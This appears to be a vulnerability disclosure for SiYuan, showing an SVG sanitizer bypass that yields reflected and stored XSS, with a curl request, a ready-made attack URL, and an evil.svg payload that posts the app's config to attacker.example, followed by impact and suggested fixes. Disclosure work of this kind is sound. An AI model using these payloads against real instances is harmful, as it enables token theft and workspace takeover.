SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass

I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:

IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg>                                                     (removed)

IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg>   (kept, runs)

Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:

• kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml.
• kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.

Attack vector 1: reflected (one link)

The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.

curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'

The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:

<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>

Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:

http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E

Attack vector 2: stored (planted asset)

Place this file as data/assets/evil.svg:

<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
  .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>

Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.

Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.

Impact

• A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
• Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
• The default AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.

Suggested fix

• Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop <desc>, <title> and <foreignObject> and any raw text smuggled markup.
• Serve user SVG with Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/* and /api/icon/getDynamicIcon.
• Escape the reflected content value in getDynamicIcon before it goes into the template.